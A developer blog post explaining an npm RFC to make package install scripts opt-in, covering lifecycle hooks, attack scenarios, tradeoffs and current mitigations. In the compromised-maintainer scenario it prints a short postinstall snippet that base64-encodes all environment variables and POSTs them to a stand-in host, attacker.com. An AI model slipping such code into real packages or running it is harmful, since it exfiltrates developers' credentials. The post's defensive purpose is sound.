Skip to content

npm RFC: Making Install Scripts Opt-In — A Deep Dive into What It Means for JavaScript Security

A landmark npm RFC proposes making install scripts opt-in by default. This deep-dive covers how the current system works, why it's dangerous, what the RFC proposes, the tradeoffs involved, and how you can protect yourself right now.

Author
Devanshu Verma
Published
Updated
Updated
Reading time
8 min read
On this page12 sections

📋 RFC Status: Open for community comment at npm/rfcs on GitHub. The proposal would make postinstall, preinstall, and install lifecycle scripts require explicit opt-in from the consuming project.

Introduction

A significant RFC (Request for Comments) has been filed against npm: make install scripts opt-in rather than opt-out by default. If accepted and implemented, this single change could be one of the most impactful security improvements to the npm ecosystem in years.

But what exactly are install scripts, why are they dangerous, what does "opt-in" mean in practice, and what are the tradeoffs? This post covers everything you need to know — and how to participate in shaping the outcome.

Background: What Are npm Install Scripts?

When you run npm install, npm doesn't just copy package files to node_modules. For packages that declare lifecycle scripts, npm also executes shell commands at various points in the installation process.

The relevant lifecycle hooks are:

HookWhen It RunspreinstallBefore the package is installedinstallAfter the package is installedpostinstallAfter install completesprepareAfter install, also on npm publish

These scripts are defined in a package's package.json:

json
{
  "name": "some-package",
  "scripts": {
    "postinstall": "node ./scripts/setup.js"
  }
}

Legitimate Uses of Install Scripts

Install scripts aren't inherently evil. Many important packages depend on them:

  • esbuild — downloads the correct platform-specific native binary during postinstall

  • node-gyp — compiles native C++ addons at install time

  • sharp — downloads libvips binaries for the current platform

  • puppeteer — downloads a specific Chromium version

  • husky — sets up Git hooks in the project

These are all valid, expected behaviors that developers rely on.

The Problem: Install Scripts Are a Massive Attack Surface

The issue is that install scripts execute arbitrary shell code with the same permissions as the developer running npm install. On a developer's machine, that often means:

  • Full read/write access to the filesystem

  • Access to all environment variables (including AWS_SECRET_ACCESS_KEY, DATABASE_URL, GITHUB_TOKEN, etc.)

  • Network access to make outbound HTTP requests

  • Ability to modify system files, install software, or pivot to other processes

Real-World Attack Scenarios

Scenario 1: Compromised Maintainer AccountAn attacker gains access to a popular package's npm credentials, publishes a new version with a malicious postinstall script, and waits. Millions of developers run npm install and silently exfiltrate their secrets to the attacker's server.

js
// Malicious postinstall script disguised as telemetry
const { execSync } = require('child_process');
const env = Object.entries(process.env).join('\n');
require('https').request('https://attacker.com/collect', { method: 'POST' }, () => {})
  .end(Buffer.from(env).toString('base64'));

Scenario 2: Typosquatted PackageAn attacker publishes lodahs (typo of lodash) or reect (typo of react) with a postinstall script. Any developer who makes a typo installs and executes the malicious code immediately.

Scenario 3: Dependency ConfusionAn attacker publishes a public npm package with the same name as an internal private package. If the npm registry is checked before the private registry, the malicious package gets installed with its scripts running immediately.

For a recent real-world case, and how to check whether your projects were affected, see the TanStack npm supply chain attack.

The RFC Proposal: Opt-In Install Scripts

The RFC proposes changing the default behavior so that install scripts do not run unless explicitly allowed by the consuming project.

How Opt-In Would Work

Projects that want to allow install scripts from specific packages would declare this in their package.json:

json
{
  "name": "my-app",
  "dependencies": {
    "esbuild": "^0.21.0",
    "sharp": "^0.33.0",
    "some-malicious-package": "^1.0.0"
  },
  "allowedScripts": {
    "esbuild": true,
    "sharp": true
    // "some-malicious-package" is NOT listed → its scripts won't run
  }
}

When running npm install, npm would:

  1. Install all packages as normal

  2. Skip install scripts for any package not in allowedScripts

  3. Warn the developer about packages that wanted to run scripts but were blocked

Alternative: Interactive Approval

Another approach discussed in the RFC is an interactive approval flow — similar to how mobile apps request permissions:

$ npm install

Installing 247 packages...

⚠️  The following packages want to run install scripts:
  - esbuild@0.21.0 (postinstall: "node install.js")
  - sharp@0.33.0 (postinstall: "node install/libvips")

Allow esbuild to run install scripts? (y/N) y
Allow sharp to run install scripts? (y/N) y

✅ Installation complete.

Why Now?

The Threat Landscape Has Changed

When npm install scripts were designed, the ecosystem was small and maintainers were mostly known individuals. Today:

  • The top 10 npm packages are downloaded billions of times per week

  • Compromising a single popular package can affect millions of developers in hours

  • Nation-state actors and organized criminal groups now target developer toolchains

  • The TanStack attack, the colors and faker sabotage, and numerous other incidents have proven that the current trust model is broken

The Community Is Ready

Developers have been asking for this for years. Tools like Socket.dev, pnpm's onlyBuiltDependencies, and manual use of --ignore-scripts show that the community has already been working around the problem. The RFC would make the safe default the default rather than an opt-in workaround.

Arguments For the RFC

✅ Dramatically Reduces the Attack Surface

The most common attack vector in npm supply chain attacks is the postinstall script. Opt-in would prevent 90%+ of these attacks from having any effect.

✅ Forces Explicit Trust

Right now, trust is implicit. Every package you install is implicitly trusted to run code on your machine. Opt-in makes trust explicit — you declare which packages you trust to run scripts, and everything else is blocked.

✅ Already Implemented in Alternatives

pnpm's onlyBuiltDependencies already does exactly this and has been widely adopted without significant friction. The ecosystem knows how to handle it.

✅ Aligns With Platform Security Models

iOS and Android require explicit permission for sensitive operations. macOS's Gatekeeper requires approval for new apps. The web platform has a permissions API. npm is one of the few developer tools that still runs arbitrary code without asking.

Arguments Against the RFC

❌ Breaking Changes for Existing Workflows

Packages like esbuild, sharp, puppeteer, and any package with native bindings depend on install scripts. If those scripts don't run, the package is broken. Developers would need to update their allowedScripts config — extra friction even for legitimate use cases.

❌ Ecosystem Tooling Complexity

Monorepos with dozens of packages that need install scripts would need complex configurations. CI systems would need to be updated. Docker images would need allowedScripts configured before builds work.

❌ False Sense of Security

A sufficiently sophisticated attacker can distribute malicious behavior through non-script mechanisms — malicious code in the package's main entry point that runs when the package is first require()'d, for example. Opt-in scripts don't address this vector.

❌ Discoverability Problem

Many developers don't know which packages need install scripts. The breakage from a missed allowedScripts entry could be confusing and hard to debug for less experienced developers.

The Current State of --ignore-scripts

You can already opt out of install scripts today using the --ignore-scripts flag:

bash
npm install --ignore-scripts

Or make it the default in .npmrc:

ini
ignore-scripts=true

The problem: this is all-or-nothing. If you disable all scripts, packages like esbuild and sharp simply stop working. There's no current way to whitelist specific packages — which is exactly what the RFC would provide.

How to Participate in the RFC

The RFC process is open to the public. Here's how to get involved:

  1. Read the full RFC at github.com/npm/rfcs

  2. Comment on the issue — share your use case, concerns, or support

  3. Attend the npm RFC meeting — meetings are held regularly and open to the community

  4. Follow the discussion on the npm blog and Twitter/X (@npmjs)

The more voices from the developer community, the better the final design will be. If you work on a package that uses install scripts, your perspective is especially valuable — the RFC needs to know what legitimate use cases must be preserved.

What Should You Do Right Now?

While waiting for the RFC to progress (which may take months or years), you can protect yourself today:

bash
# Use ignore-scripts globally for initial security, then whitelist manually
npm install --ignore-scripts

# For packages that need scripts, run them explicitly
npm rebuild esbuild
npm rebuild sharp

Or switch to pnpm and use onlyBuiltDependencies:

json
{
  "pnpm": {
    "onlyBuiltDependencies": ["esbuild", "sharp", "node-gyp"]
  }
}

Pair it with a minimum release age, so a freshly compromised version can't reach your machine before it's caught: here's how to set minimum release age in npm, pnpm, Yarn, Bun and Deno.

Key Takeaways

⚡ The RFC is one of the most important npm security proposals in years. Get involved.

  • Install scripts currently run automatically and can execute arbitrary code with full developer permissions

  • The RFC proposes making scripts opt-in, requiring explicit allowedScripts entries in package.json

  • This would prevent the majority of supply chain attacks that use postinstall as the attack vector

  • There are real tradeoffs around breaking changes and ecosystem friction that need to be worked through

  • You can protect yourself today with --ignore-scripts + selective rebuilds, or pnpm's onlyBuiltDependencies

  • Participate in the RFC — community feedback directly shapes the final design

Resources

Found this useful? Pass it on.

Devanshu Verma

Frontend engineer building web apps with React, Next.js, Angular and Vue.